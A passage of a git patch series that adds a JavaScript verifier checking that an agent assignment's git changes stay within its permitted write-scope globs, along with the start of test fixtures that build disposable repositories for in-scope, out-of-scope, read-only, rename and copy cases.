seen, destPath, path); + if (kind === 0x52) renameCount += 1; + else copyCount += 1; + } else { + if (index >= parts.length) { + fail('git_execution_failed', path, `${path} produced an unexpected git observation.`); + } + destPath = parts[index]; + index += 1; + addUniquePath(paths, seen, destPath, path); + } + REFLECT_APPLY(ARRAY_PUSH, records, [capturedFreeze({ + old_mode: oldMode, + new_mode: newMode, + status, + source_path: sourcePath, + dest_path: destPath, + })]); + } + return { records, paths, seen, rename_count: renameCount, copy_count: copyCount }; +} + +function parseStatusPorcelain(stdout, path, paths, seen) { + const parts = splitNul(stdout); + let index = 0; + while (index < parts.length) { + const entry = parts[index]; + index += 1; + if (typeof entry !== 'string' || entry.length < 2) { + fail('git_execution_failed', path, `${path} produced an unexpected git observation.`); + } + const xy0 = entry.charCodeAt(0); + const xy1 = entry.charCodeAt(1); + if (xy0 > 0x7e || xy1 > 0x7e || xy0 < 0x20 || xy1 < 0x20) { + fail('hostile_name_denied', path, `${path} produced an unexpected git observation.`); + } + const renamed = xy0 === 0x52 || xy0 === 0x43 || xy1 === 0x52 || xy1 === 0x43; + if (entry.length === 2) { + if (!renamed || index + 1 >= parts.length) { + fail('git_execution_failed', path, `${path} produced an unexpected git observation.`); + } + addUniquePath(paths, seen, parts[index], path); + addUniquePath(paths, seen, parts[index + 1], path); + index += 2; + continue; + } + if (entry.charCodeAt(2) !== 0x20) { + fail('git_execution_failed', path, `${path} produced an unexpected git observation.`); + } + addUniquePath(paths, seen, entry.slice(3), path); + if (renamed) { + if (index >= parts.length) { + fail('git_execution_failed', path, `${path} produced an unexpected git observation.`); + } + addUniquePath(paths, seen, parts[index], path); + index += 1; + } + } +} + +function parseLsFilesOthers(stdout, path, paths, seen) { + const parts = splitNul(stdout); + for (let index = 0; index < parts.length; index += 1) { + addUniquePath(paths, seen, parts[index], path); + } +} + +function parseRevListParents(stdout, path, expectedHead, allowEmpty) { + if (stdout.includes('\0') || stdout.includes('\r')) { + fail('git_execution_failed', path, `${path} produced extra git output.`); + } + let text = stdout; + if (text.endsWith('\n')) text = text.slice(0, -1); + if (text.length === 0) { + if (!allowEmpty) { + fail('git_execution_failed', path, `${path} produced an unexpected git observation.`); + } + return { commits: [], parent_count: 1, merge: false }; + } + const lines = text.split('\n'); + if (lines.length > MAX_NEW_COMMITS) { + fail('bounds_exceeded', path, `${path} exceeds the new-commit cap.`); + } + let merge = false; + let parentCount = 1; + let sawHead = expectedHead === undefined; + for (let index = 0; index < lines.length; index += 1) { + const line = lines[index]; + const tokens = line.split(' '); + if (tokens.length < 1 || !isSha40(tokens[0])) { + fail('git_execution_failed', path, `${path} produced an unexpected git observation.`); + } + for (let token = 1; token < tokens.length; token += 1) { + if (!isSha40(tokens[token])) { + fail('git_execution_failed', path, `${path} produced an unexpected git observation.`); + } + } + const parents = tokens.length - 1; + if (tokens[0] === expectedHead) { + sawHead = true; + parentCount = parents; + } + if (parents !== 1) merge = true; + } + if (expectedHead !== undefined && !sawHead && lines.length > 0) { + parentCount = lines[0].split(' ').length - 1; + } + return { commits: lines, parent_count: parentCount, merge }; +} + +function compileScopePatterns(patterns, path) { + const compiled = []; + for (let index = 0; index < patterns.length; index += 1) { + try { + REFLECT_APPLY(ARRAY_PUSH, compiled, [ + compileRepoGlob(patterns[index], `${path}[${index}]`), + ]); + } catch (error) { + if (error instanceof RepoPathMatcherError) { + fail('invalid_format', `${path}[${index}]`, + `${path}[${index}] is not a matchable repository glob.`); + } + throw error; + } + } + return capturedFreeze(compiled); +} + +function snapshotWriteScope(value, path, { minPatterns, maxPatterns }) { + assertWriteScopePatterns(value, path, { minPatterns, maxPatterns }); + const patterns = []; + for (let index = 0; index < value.length; index += 1) { + REFLECT_APPLY(ARRAY_PUSH, patterns, [optOwn(value, String(index))]); + } + return { + patterns: capturedFreeze(patterns), + compiled: compileScopePatterns(patterns, path), + }; +} + +function pathMatchesAny(pathname, compiled, path) { + for (let index = 0; index < compiled.length; index += 1) { + try { + if (compiledRepoGlobMatchesPath(compiled[index], pathname, 'path') === true) { + return true; + } + } catch (error) { + if (error instanceof RepoPathMatcherError) { + fail('hostile_name_denied', path, `${path} is not a repository-relative path.`); + } + throw error; + } + } + return false; +} + +function parseOtherWriteScopes(input, path, selfAssignmentId) { + const value = optOwn(input, 'other_write_scopes'); + assertNotProxy(value, path); + if (!ARRAY_IS_ARRAY(value)) { + fail('invalid_type', path, `${path} must be an array of trusted writer scopes.`); + } + if (value.length > MAX_OTHER_WRITE_SCOPES) { + fail('out_of_range', path, `${path} exceeds the other-writer cap.`); + } + const snapshots = []; + const seen = new Set(); + for (let index = 0; index < value.length; index += 1) { + const entryPath = `${path}[${index}]`; + const entry = optOwn(value, String(index)); + assertPlainObject(entry, 'invalid_type', entryPath, entryPath); + assertClosedKeySet(entry, SCOPE_OTHER_SCOPE_ALLOWED_KEYS, entryPath); + requiredKeys(entry, SCOPE_OTHER_SCOPE_ALLOWED_KEYS, entryPath); + const assignmentId = optOwn(entry, 'assignment_id'); + if (!isAssignmentId(assignmentId)) { + fail('invalid_format', `${entryPath}.assignment_id`, + `${entryPath}.assignment_id violates the assignment-id grammar.`); + } + if (assignmentId === selfAssignmentId) { + fail('conflicting_id', `${entryPath}.assignment_id`, + `${entryPath}.assignment_id must not repeat the observed assignment.`); + } + if (seen.has(assignmentId)) { + fail('duplicate_id', `${entryPath}.assignment_id`, + `${entryPath}.assignment_id repeats an identity.`); + } + seen.add(assignmentId); + const scope = snapshotWriteScope( + optOwn(entry, 'write_scope'), `${entryPath}.write_scope`, + { minPatterns: 1, maxPatterns: SCOPE_MAX_PATTERNS }, + ); + REFLECT_APPLY(ARRAY_PUSH, snapshots, [capturedFreeze({ + assignment_id: assignmentId, + write_scope: scope.patterns, + compiled: scope.compiled, + })]); + } + return capturedFreeze(snapshots); +} + +function parseObservationMap(input, path) { + assertPlainObject(input, 'invalid_type', path, path); + assertClosedKeySet(input, GIT_IDENTITY_OBSERVATION_ALLOWED_KEYS, path); + requiredKeys(input, GIT_IDENTITY_OBSERVATION_ALLOWED_KEYS, path); + const values = {}; + for (let index = 0; index < GIT_IDENTITY_OBSERVATION_ALLOWED_KEYS.length; index += 1) { + const key = GIT_IDENTITY_OBSERVATION_ALLOWED_KEYS[index]; + values[key] = optOwn(input, key); + } + if (typeof values.repository_path !== 'string' || typeof values.git_dir !== 'string' + || typeof values.base_ref !== 'string' || typeof values.worktree_head_ref !== 'string' + || typeof values.base_object_type !== 'string' || typeof values.head_object_type !== 'string' + || typeof values.ancestor !== 'boolean' + || typeof values.duration_ms !== 'number' || !NUMBER_IS_SAFE_INTEGER(values.duration_ms)) { + fail('invalid_type', path, `${path} is not a trusted git identity observation.`); + } + if (!isSha40(values.base_sha) || !isSha40(values.head_sha) + || (values.merge_base_sha !== '' && !isSha40(values.merge_base_sha))) { + fail('invalid_format', path, `${path} is not a trusted git identity observation.`); + } + return freezeRecord(GIT_IDENTITY_OBSERVATION_ALLOWED_KEYS, values); +} + +function parseTrustedIdentity(input, path, request) { + assertPlainObject(input, 'invalid_type', path, path); + assertClosedKeySet(input, GIT_IDENTITY_RESULT_ALLOWED_KEYS, path); + requiredKeys(input, GIT_IDENTITY_RESULT_ALLOWED_KEYS, path); + const schema = optOwn(input, 'schema'); + const version = optOwn(input, 'version'); + const status = optOwn(input, 'status'); + if (schema !== GIT_IDENTITY_SCHEMA_ID || version !== GIT_IDENTITY_VERSION) { + fail('identity_mismatch', path, `${path} is not a trusted git identity snapshot.`); + } + let statusAllowed = false; + for (let index = 0; index < GIT_IDENTITY_STATUSES.length; index += 1) { + if (GIT_IDENTITY_STATUSES[index] === status) statusAllowed = true; + } + if (!statusAllowed) { + fail('invalid_format', `${path}.status`, `${path}.status is outside the closed identity vocabulary.`); + } + const factsInput = optOwn(input, 'facts'); + const discrepanciesInput = optOwn(input, 'discrepancies'); + if (!ARRAY_IS_ARRAY(factsInput) || !ARRAY_IS_ARRAY(discrepanciesInput)) { + fail('invalid_type', path, `${path} is not a trusted git identity snapshot.`); + } + const facts = []; + for (let index = 0; index < factsInput.length; index += 1) { + REFLECT_APPLY(ARRAY_PUSH, facts, [ + parseVerifiedFactV1(optOwn(factsInput, String(index)), `${path}.facts[${index}]`), + ]); + } + const discrepancies = []; + for (let index = 0; index < discrepanciesInput.length; index += 1) { + REFLECT_APPLY(ARRAY_PUSH, discrepancies, [ + parseEvidenceDiscrepancyV1( + optOwn(discrepanciesInput, String(index)), `${path}.discrepancies[${index}]`, + ), + ]); + } + if (status !== 'verified' || discrepancies.length !== 0) { + fail('unverified_identity', path, `${path} is not a verified git identity snapshot.`); + } + const observation = parseObservationMap(optOwn(input, 'observation'), `${path}.observation`); + if (observation.repository_path !== request.repository.path + || observation.base_sha !== request.repository.base_sha + || observation.head_sha !== request.candidate_head_sha + || observation.base_ref !== request.expected_base_ref + || observation.ancestor !== true + || observation.merge_base_sha !== request.repository.base_sha) { + fail('identity_mismatch', path, `${path} does not match the trusted identity request.`); + } + let sawIdentity = false; + let sawHead = false; + for (let index = 0; index < facts.length; index += 1) { + const fact = facts[index]; + if (fact.run_id !== request.run_id || fact.assignment_id !== request.assignment_id) { + fail('identity_mismatch', `${path}.facts[${index}]`, + `${path}.facts[${index}] identity does not match the trusted identity request.`); + } + if (fact.status !== 'verified' || fact.authority !== 'platform_git' + || fact.method !== 'ancestry_check') { + fail('unverified_identity', `${path}.facts[${index}]`, + `${path} is not a verified git identity snapshot.`); + } + if (fact.fact_kind === 'git_identity') { + if (fact.payload.base_sha !== request.repository.base_sha + || fact.payload.head_sha !== request.candidate_head_sha) { + fail('identity_mismatch', `${path}.facts[${index}]`, + `${path}.facts[${index}] does not match the trusted identity request.`); + } + sawIdentity = true; + } + if (fact.fact_kind === 'head_sha') { + if (fact.payload.sha !== request.candidate_head_sha) { + fail('identity_mismatch', `${path}.facts[${index}]`, + `${path}.facts[${index}] does not match the trusted identity request.`); + } + sawHead = true; + } + } + if (!sawIdentity || !sawHead) { + fail('unverified_identity', path, `${path} is not a verified git identity snapshot.`); + } + return freezeRecord(GIT_IDENTITY_RESULT_ALLOWED_KEYS, { + schema, + version, + status, + facts: capturedFreeze(facts), + discrepancies: capturedFreeze(discrepancies), + observation, + }); +} + +export function parseScopeVerifierRequestV1(input, path = 'scope') { + assertPlainObject(input, 'invalid_type', path, `${path}`); + assertClosedKeySet(input, SCOPE_REQUEST_ALLOWED_KEYS, path); + assertNestedClosedKeys(input, 'identity_request', [ + 'repository', 'expected_base_ref', 'candidate_head_sha', + 'run_id', 'assignment_id', 'sequence', + ], path); + assertNestedClosedKeys(input, 'identity', GIT_IDENTITY_RESULT_ALLOWED_KEYS, path); + assertDirectJsonClosure(input, path); + requiredKeys(input, SCOPE_REQUEST_REQUIRED_KEYS, path); + const identityRequest = parseGitIdentityRequestV1( + optOwn(input, 'identity_request'), `${path}.identity_request`, + ); + const identity = parseTrustedIdentity( + optOwn(input, 'identity'), `${path}.identity`, identityRequest, + ); + const access = optOwn(input, 'access'); + if (!isKnownAccess(access)) { + fail('invalid_format', `${path}.access`, `${path}.access must be "writer" or "read_only".`); + } + const minPatterns = access === 'read_only' ? 0 : 1; + const maxPatterns = access === 'read_only' ? 0 : SCOPE_MAX_PATTERNS; + const writeScope = snapshotWriteScope( + optOwn(input, 'write_scope'), `${path}.write_scope`, { minPatterns, maxPatterns }, + ); + const otherWriteScopes = parseOtherWriteScopes( + input, `${path}.other_write_scopes`, identityRequest.assignment_id, + ); + return freezeRecord(capturedFreeze([ + ...SCOPE_REQUEST_ALLOWED_KEYS, 'compiled_write_scope', + ]), { + identity_request: identityRequest, + identity, + access, + write_scope: writeScope.patterns, + other_write_scopes: otherWriteScopes, + compiled_write_scope: writeScope.compiled, + }); +} + +function identityFingerprint(result) { + return digestCanonical({ + repository_path: result.observation.repository_path, + git_dir: result.observation.git_dir, + base_ref: result.observation.base_ref, + base_sha: result.observation.base_sha, + head_sha: result.observation.head_sha, + merge_base_sha: result.observation.merge_base_sha, + worktree_head_ref: result.observation.worktree_head_ref, + ancestor: result.observation.ancestor, + status: result.status, + }); +} + +function assertLiveIdentity(trusted, live, path) { + if (live.status !== 'verified' || live.discrepancies.length !== 0) { + fail('unverified_identity', path, `${path} is not a verified git identity snapshot.`); + } + if (identityFingerprint(trusted) !== identityFingerprint(live)) { + fail('observation_race', path, `${path} observed a git identity race.`); + } +} + +function classifyDiffRecords(records, path) { + let symlink = false; + let gitlink = false; + let typeChange = false; + for (let index = 0; index < records.length; index += 1) { + const record = records[index]; + const status0 = record.status.charCodeAt(0); + if (status0 === 0x54) typeChange = true; + if (status0 === 0x55 || status0 === 0x58 || status0 === 0x42) { + fail('git_execution_failed', path, `${path} produced an unexpected git observation.`); + } + if (record.old_mode === MODE_SYMLINK || record.new_mode === MODE_SYMLINK) symlink = true; + if (record.old_mode === MODE_GITLINK || record.new_mode === MODE_GITLINK) gitlink = true; + const oldFile = record.old_mode !== MODE_MISSING && record.old_mode !== MODE_SYMLINK + && record.old_mode !== MODE_GITLINK; + const newFile = record.new_mode !== MODE_MISSING && record.new_mode !== MODE_SYMLINK + && record.new_mode !== MODE_GITLINK; + const oldSpecial = record.old_mode === MODE_SYMLINK || record.old_mode === MODE_GITLINK; + const newSpecial = record.new_mode === MODE_SYMLINK || record.new_mode === MODE_GITLINK; + if ((oldFile && newSpecial) || (oldSpecial && newFile) || (oldSpecial && newSpecial + && record.old_mode !== record.new_mode)) { + typeChange = true; + } + } + return { symlink, gitlink, type_change: typeChange }; +} + +async function observeScope(session, flags, baseSha, headSha, path) { + const sameCommit = baseSha === headSha; + const diffText = await gitRequired(session, [ + ...flags, 'diff-tree', '--no-commit-id', '--raw', '--full-index', '-z', '-r', + '-M', '-C', '--end-of-options', baseSha, headSha, + ], `${path}.diff`); + const parsed = parseDiffTreeRaw(diffText, `${path}.diff`); + const statusText = await gitRequired(session, [ + ...flags, 'status', '--porcelain=v1', '-z', '--untracked-files=all', + '--ignore-submodules=none', + ], `${path}.status`); + parseStatusPorcelain(statusText, `${path}.status`, parsed.paths, parsed.seen); + const untrackedText = await gitRequired(session, [ + ...flags, 'ls-files', '-z', '--others', '--exclude-standard', + ], `${path}.untracked`); + parseLsFilesOthers(untrackedText, `${path}.untracked`, parsed.paths, parsed.seen); + let parent; + if (sameCommit) { + parent = { commits: [], parent_count: 1, merge: false, new_commit_count: 0 }; + } else { + const rangeText = await gitRequired(session, [ + ...flags, 'rev-list', '--parents', `--max-count=${MAX_NEW_COMMITS + 1}`, + headSha, '--not', baseSha, + ], `${path}.parents`); + parent = parseRevListParents(rangeText, `${path}.parents`, headSha, false); + parent.new_commit_count = parent.commits.length; + } + REFLECT_APPLY(ARRAY_SORT, parsed.paths, [(left, right) => { + if (left === right) return 0; + return left < right ? -1 : 1; + }]); + const pathSetDigest = digestCanonical(parsed.paths); + const fingerprint = digestCanonical({ + diff: digestBytes(diffText), + status: digestBytes(statusText), + untracked: digestBytes(untrackedText), + parents: parent.commits, + path_set_digest: pathSetDigest, + }); + const operations = classifyDiffRecords(parsed.records, `${path}.diff`); + return { + paths: capturedFreeze(parsed.paths), + path_count: parsed.paths.length, + path_set_digest: pathSetDigest, + rename_count: parsed.rename_count, + copy_count: parsed.copy_count, + parent_count: parent.parent_count, + new_commit_count: parent.new_commit_count, + merge: parent.merge === true || (!sameCommit && parent.parent_count !== 1), + dirty: statusText.length > 0 || untrackedText.length > 0, + symlink: operations.symlink, + gitlink: operations.gitlink, + type_change: operations.type_change, + fingerprint, + }; +} + +function durationOf(session, path) { + assertDeadline(session, path); + return MATH_MAX(0, MATH_FLOOR(Date.now() - session.startedAt)); +} + +function emitFact(kind, method, request, inputDigest, outputDigest, status, payload, durationMs) { + const boundedDuration = durationMs > MAX_DURATION_MS ? MAX_DURATION_MS : durationMs; + return parseVerifiedFactV1({ + fact_id: kind === 'git_diff' ? 'git-diff' : 'head-sha', + fact_kind: kind, + status, + code: 'host_observed', + run_id: request.identity_request.run_id, + assignment_id: request.identity_request.assignment_id, + sequence: kind === 'git_diff' ? request.identity_request.sequence + : request.identity_request.sequence + 1, + subject: kind === 'git_diff' ? 'diff' : 'head', + authority: 'platform_git', + method, + input_digest: inputDigest, + output_digest: outputDigest, + exit_code: null, + duration_ms: boundedDuration, + truncated: false, + payload, + artifact_digests: [], + }); +} + +function emitDiscrepancy(id, kind, code, request, factIds, sequence) { + return parseEvidenceDiscrepancyV1({ + discrepancy_id: id, + discrepancy_kind: kind, + status: 'recorded', + code, + run_id: request.identity_request.run_id, + assignment_id: request.identity_request.assignment_id, + sequence, + claim_ids: [], + fact_ids: factIds, + artifact_digests: [], + }); +} + +export async function verifyScopeV1(input, options) { + const request = parseScopeVerifierRequestV1(input); + const parsedOptions = parseOptions(options); + const pathLabel = 'scope'; + const livePre = await verifyGitIdentityV1(request.identity_request, parsedOptions); + assertLiveIdentity(request.identity, livePre, `${pathLabel}.identity`); + const session = createSession(parsedOptions.spawn); + const repositoryPath = livePre.observation.repository_path; + const gitDir = livePre.observation.git_dir; + const flags = repoFlags(repositoryPath, gitDir); + const pre = await observeScope( + session, flags, livePre.observation.base_sha, livePre.observation.head_sha, pathLabel, + ); + const livePost = await verifyGitIdentityV1(request.identity_request, parsedOptions); + assertLiveIdentity(request.identity, livePost, `${pathLabel}.identity`); + const post = await observeScope( + session, flags, livePost.observation.base_sha, livePost.observation.head_sha, pathLabel, + ); + if (pre.fingerprint !== post.fingerprint + || identityFingerprint(livePre) !== identityFingerprint(livePost)) { + fail('observation_race', pathLabel, `${pathLabel} observed a git identity or worktree race.`); + } + const durationMs = durationOf(session, pathLabel); + const observation = freezeRecord(SCOPE_OBSERVATION_ALLOWED_KEYS, { + repository_path: repositoryPath, + git_dir: gitDir, + base_sha: livePost.observation.base_sha, + head_sha: livePost.observation.head_sha, + access: request.access, + parent_count: post.parent_count, + new_commit_count: post.new_commit_count, + path_count: post.path_count, + path_set_digest: post.path_set_digest, + rename_count: post.rename_count, + copy_count: post.copy_count, + dirty: post.dirty, + duration_ms: durationMs, + }); + const inputDigest = digestCanonical({ + repository: request.identity_request.repository, + expected_base_ref: request.identity_request.expected_base_ref, + candidate_head_sha: request.identity_request.candidate_head_sha, + access: request.access, + write_scope: request.write_scope, + }); + const outputDigest = digestCanonical(observation); + if (!PRIVATE_SHA256_PATTERN.test(inputDigest) || !PRIVATE_SHA256_PATTERN.test(outputDigest)) { + fail('git_execution_failed', pathLabel, `${pathLabel} could not bind observation digests.`); + } + let ownedMismatch = false; + let overlap = false; + if (request.access === 'writer') { + for (let index = 0; index < post.paths.length; index += 1) { + const pathname = post.paths[index]; + if (!pathMatchesAny(pathname, request.compiled_write_scope, `${pathLabel}.diff`)) { + ownedMismatch = true; + } + for (let other = 0; other < request.other_write_scopes.length; other += 1) { + if (pathMatchesAny( + pathname, request.other_write_scopes[other].compiled, `${pathLabel}.diff`, + )) { + overlap = true; + } + } + } + } + const discrepancies = []; + const pushDiscrepancy = (id, kind, code, factIds) => { + const sequence = request.identity_request.sequence + discrepancies.length; + if (sequence > MAX_SEQUENCE) return; + try { + REFLECT_APPLY(ARRAY_PUSH, discrepancies, [ + emitDiscrepancy(id, kind, code, request, factIds, sequence), + ]); + } catch (error) { + if (error instanceof RunContractV1Error && error.code === 'out_of_range') return; + throw error; + } + }; + const diffFactId = 'git-diff'; + const headFactId = 'head-sha'; + if (post.merge) { + pushDiscrepancy('merge-commit', 'integrity', 'artifact_integrity_failure', [headFactId]); + } + if (request.access === 'read_only' && (post.path_count > 0 || post.dirty + || livePost.observation.head_sha !== livePost.observation.base_sha)) { + pushDiscrepancy('read-only-mutation', 'integrity', 'artifact_integrity_failure', [diffFactId]); + } + if (ownedMismatch) { + pushDiscrepancy('scope-mismatch', 'integrity', 'artifact_integrity_failure', [diffFactId]); + } + if (overlap) { + pushDiscrepancy('scope-overlap', 'integrity', 'artifact_integrity_failure', [diffFactId]); + } + if (post.symlink) { + pushDiscrepancy('symlink-change', 'security', 'security_boundary', [diffFactId]); + } + if (post.gitlink) { + pushDiscrepancy('submodule-change', 'security', 'security_boundary', [diffFactId]); + } + if (post.type_change) { + pushDiscrepancy('type-change', 'security', 'security_boundary', [diffFactId]); + } + const verified = discrepancies.length === 0 + && (request.access !== 'read_only' || post.path_count === 0) + && (request.access !== 'writer' || !ownedMismatch) + && post.merge !== true; + const status = verified ? 'verified' : 'failed'; + const diffMethod = request.access === 'read_only' ? 'read_only_no_changes' : 'scope_match'; + const facts = capturedFreeze([ + emitFact( + 'git_diff', diffMethod, request, inputDigest, outputDigest, status, + { path_count: post.path_count, path_set_digest: post.path_set_digest }, + durationMs, + ), + emitFact( + 'head_sha', 'merge_commit_absence', request, inputDigest, outputDigest, status, + { sha: request.identity_request.candidate_head_sha }, + durationMs, + ), + ]); + const result = freezeRecord(SCOPE_RESULT_ALLOWED_KEYS, { + schema: SCOPE_VERIFIER_SCHEMA_ID, + version: SCOPE_VERIFIER_VERSION, + status, + facts, + discrepancies: capturedFreeze(discrepancies), + observation, + }); + assertDeadline(session, pathLabel); + return result; +} + +OBJECT_FREEZE(SCOPE_VERIFIER_ERROR_CODES); From 95049bcce486e2cdc8f37f20094ddb52d0f906ef Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sun, 23 Aug 2026 09:15:30 +0000 Subject: [PATCH 079/151] test(verify): cover ownership, merge, unicode, and observation races Add disposable P15 fixtures and tests for in-scope mutations, overlap, read-only dirt, merge history, symlink/gitlink/type-change, NFC versus confusable paths, untracked state, and pre/post observation races. --- .../fixtures/r1-scope-verifier-fixtures.mjs | 390 ++++++++++++++++++ .../r1-scope-verifier-adversarial.test.mjs | 375 +++++++++++++++++ .../test/r1-scope-verifier.test.mjs | 351 ++++++++++++++++ 3 files changed, 1116 insertions(+) create mode 100644 plugins/codex-co-engineer/test/fixtures/r1-scope-verifier-fixtures.mjs create mode 100644 plugins/codex-co-engineer/test/r1-scope-verifier-adversarial.test.mjs create mode 100644 plugins/codex-co-engineer/test/r1-scope-verifier.test.mjs diff --git a/plugins/codex-co-engineer/test/fixtures/r1-scope-verifier-fixtures.mjs b/plugins/codex-co-engineer/test/fixtures/r1-scope-verifier-fixtures.mjs new file mode 100644 index 0000000..8ebeca1 --- /dev/null +++ b/plugins/codex-co-engineer/test/fixtures/r1-scope-verifier-fixtures.mjs @@ -0,0 +1,390 @@ +// Disposable repository fixtures for W16-P15 scope, read-only, and +// merge-commit verification. Construction uses argv git only; the product +// verifier is never imported here so forged histories and hostile paths +// stay parent-failing until the verifier module exists. + +import { spawn } from 'node:child_process'; +import { mkdir, mkdtemp, rm, symlink, writeFile } from 'node:fs/promises'; +import { tmpdir } from 'node:os'; +import path from 'node:path'; + +export const RUN_ID = 'run-scope-verify-01'; +export const ASSIGNMENT_ID = 'lane-writer'; +export const READ_ONLY_ASSIGNMENT_ID = 'lane-verify'; +export const OTHER_ASSIGNMENT_ID = 'lane-other'; +export const BASE_REF = 'refs/heads/main'; +export const WRITE_SCOPE = Object.freeze(['src/**']); +export const OTHER_WRITE_SCOPE = Object.freeze(['docs/**']); + +const GIT = '/usr/bin/git'; +const FIXTURE_ENV = Object.freeze({ + PATH: '/usr/bin:/bin', + GIT_CONFIG_NOSYSTEM: '1', + GIT_CONFIG_GLOBAL: '/dev/null', + GIT_CONFIG_SYSTEM: '/dev/null', + GIT_AUTHOR_NAME: 'P15 Fixture', + GIT_AUTHOR_EMAIL: 'p15@example.test', + GIT_COMMITTER_NAME: 'P15 Fixture', + GIT_COMMITTER_EMAIL: 'p15@example.test', + GIT_AUTHOR_DATE: '2020-01-01T00:00:00Z', + GIT_COMMITTER_DATE: '2020-01-01T00:00:00Z', +}); + +export function countingProxy(target) { + const counts = { get: 0, ownKeys: 0, getOwnPropertyDescriptor: 0, has: 0, apply: 0 }; + const proxy = new Proxy(target, { + get(inner, property, receiver) { + counts.get += 1; + return Reflect.get(inner, property, receiver); + }, + ownKeys(inner) { + counts.ownKeys += 1; + return Reflect.ownKeys(inner); + }, + getOwnPropertyDescriptor(inner, property) { + counts.getOwnPropertyDescriptor += 1; + return Reflect.getOwnPropertyDescriptor(inner, property); + }, + has(inner, property) { + counts.has += 1; + return Reflect.has(inner, property); + }, + apply() { + counts.apply += 1; + throw new Error('proxy apply must never run'); + }, + }); + return { proxy, counts }; +} + +export function trapTotal(counts) { + return counts.get + counts.ownKeys + counts.getOwnPropertyDescriptor + counts.has + counts.apply; +} + +export function identityRequest(repo, overrides = {}) { + return { + repository: { + path: overrides.path ?? repo.path, + base_sha: overrides.base_sha ?? repo.baseSha, + }, + expected_base_ref: overrides.expected_base_ref ?? BASE_REF, + candidate_head_sha: overrides.candidate_head_sha ?? overrides.head_sha ?? repo.headSha, + run_id: overrides.run_id ?? RUN_ID, + assignment_id: overrides.assignment_id ?? ASSIGNMENT_ID, + sequence: overrides.sequence ?? 0, + }; +} + +export function scopeRequest(repo, identity, overrides = {}) { + const request = { + identity_request: overrides.identity_request ?? identityRequest(repo, overrides), + identity, + access: overrides.access ?? 'writer', + write_scope: overrides.write_scope ?? [...WRITE_SCOPE], + other_write_scopes: overrides.other_write_scopes ?? [], + }; + for (const key of Object.keys(overrides)) { + if (key === 'path' || key === 'base_sha' || key === 'head_sha' + || key === 'identity_request' || key === 'expected_base_ref' + || key === 'candidate_head_sha' || key === 'run_id' + || key === 'assignment_id' || key === 'sequence') { + continue; + } + request[key] = overrides[key]; + } + return request; +} + +function runFixtureGit(cwd, args, env = FIXTURE_ENV) { + return new Promise((resolve, reject) => { + const child = spawn(GIT, args, { + cwd, + env, + stdio: ['ignore', 'pipe', 'pipe'], + }); + const stdoutChunks = []; + const stderrChunks = []; + child.stdout.on('data', (chunk) => stdoutChunks.push(chunk)); + child.stderr.on('data', (chunk) => stderrChunks.push(chunk)); + child.on('error', reject); + child.on('close', (code) => { + const stdout = Buffer.concat(stdoutChunks).toString('utf8').trim(); + const stderr = Buffer.concat(stderrChunks).toString('utf8').trim(); + if (code !== 0) { + const error = new Error(`fixture git failed: ${args.join(' ')}`); + error.stdout = stdout; + error.stderr = stderr; + error.code = code; + reject(error); + return; + } + resolve(stdout); + }); + }); +} + +async function emptyRepo(prefix) { + const root = await mkdtemp(path.join(tmpdir(), prefix)); + await runFixtureGit(root, ['-c', 'init.defaultBranch=main', 'init', '--initial-branch=main']); + return root; +} + +async function writeAndAdd(root, relative, contents) { + const target = path.join(root, relative); + await mkdir(path.dirname(target), { recursive: true }); + await writeFile(target, contents, 'utf8'); + await runFixtureGit(root, ['add', '--', relative]); +} + +async function commit(root, message) { + await runFixtureGit(root, ['commit', '-m', `${message} ${root}`]); + return runFixtureGit(root, ['rev-parse', 'HEAD']); +} + +export async function cleanupRepo(root) { + await rm(root, { recursive: true, force: true }); +} + +function wrap(root, fields) { + return { + path: root, + ...fields, + cleanup: () => cleanupRepo(root), + }; +} + +export async function createInScopeWriterRepo() { + const root = await emptyRepo('p15-inscope-'); + await writeAndAdd(root, 'src/keep.txt', 'keep\n'); + await writeAndAdd(root, 'docs/readme.txt', 'docs\n'); + const baseSha = await commit(root, 'base'); + await runFixtureGit(root, ['branch', '--', 'candidate']); + await runFixtureGit(root, ['checkout', 'candidate']); + await writeAndAdd(root, 'src/added.txt', 'added\n'); + const headSha = await commit(root, 'head'); + await runFixtureGit(root, ['checkout', 'main']); + return wrap(root, { baseSha, headSha, extra: { files: ['src/added.txt'] } }); +} + +export async function createOutOfScopeWriterRepo() { + const root = await emptyRepo('p15-outofscope-'); + await writeAndAdd(root, 'src/keep.txt', 'keep\n'); + const baseSha = await commit(root, 'base'); + await runFixtureGit(root, ['branch', '--', 'candidate']); + await runFixtureGit(root, ['checkout', 'candidate']); + await writeAndAdd(root, 'docs/secret.txt', 'secret\n'); + const headSha = await commit(root, 'head'); + await runFixtureGit(root, ['checkout', 'main']); + return wrap(root, { baseSha, headSha, extra: { files: ['docs/secret.txt'] } }); +} + +export async function createReadOnlyUnchangedRepo() { + const root = await emptyRepo('p15-readonly-'); + await writeAndAdd(root, 'src/keep.txt', 'keep\n'); + const baseSha = await commit(root, 'base'); + return wrap(root, { baseSha, headSha: baseSha, extra: {} }); +} + +export async function createReadOnlyMutatedRepo() { + const repo = await createInScopeWriterRepo(); + return repo; +} + +export async function createRenameInScopeRepo() { + const root = await emptyRepo('p15-rename-'); + await writeAndAdd(root, 'src/old.txt', 'rename-me\n'); + const baseSha = await commit(root, 'base'); + await runFixtureGit(root, ['branch', '--', 'candidate']); + await runFixtureGit(root, ['checkout', 'candidate']); + await runFixtureGit(root, ['mv', '--', 'src/old.txt', 'src/new.txt']); + const headSha = await commit(root, 'rename'); + await runFixtureGit(root, ['checkout', 'main']); + return wrap(root, { baseSha, headSha, extra: { from: 'src/old.txt', to: 'src/new.txt' } }); +} + +export async function createRenameEscapingRepo() { + const root = await emptyRepo('p15-rename-escape-'); + await writeAndAdd(root, 'src/old.txt', 'escape-me\n'); + const baseSha = await commit(root, 'base'); + await runFixtureGit(root, ['branch', '--', 'candidate']); + await runFixtureGit(root, ['checkout', 'candidate']); + await mkdir(path.join(root, 'docs'), { recursive: true }); + await runFixtureGit(root, ['mv', '--', 'src/old.txt', 'docs/escaped.txt']); + const headSha = await commit(root, 'escape'); + await runFixtureGit(root, ['checkout', 'main']); + return wrap(root, { + baseSha, headSha, extra: { from: 'src/old.txt', to: 'docs/escaped.txt' }, + }); +} + +export async function createCopyInScopeRepo() { + const root = await emptyRepo('p15-copy-'); + await writeAndAdd(root, 'src/original.txt', 'unique-copy-blob-p15-0123456789\n'); + const baseSha = await commit(root, 'base'); + await runFixtureGit(root, ['branch', '--', 'candidate']); + await runFixtureGit(root, ['checkout', 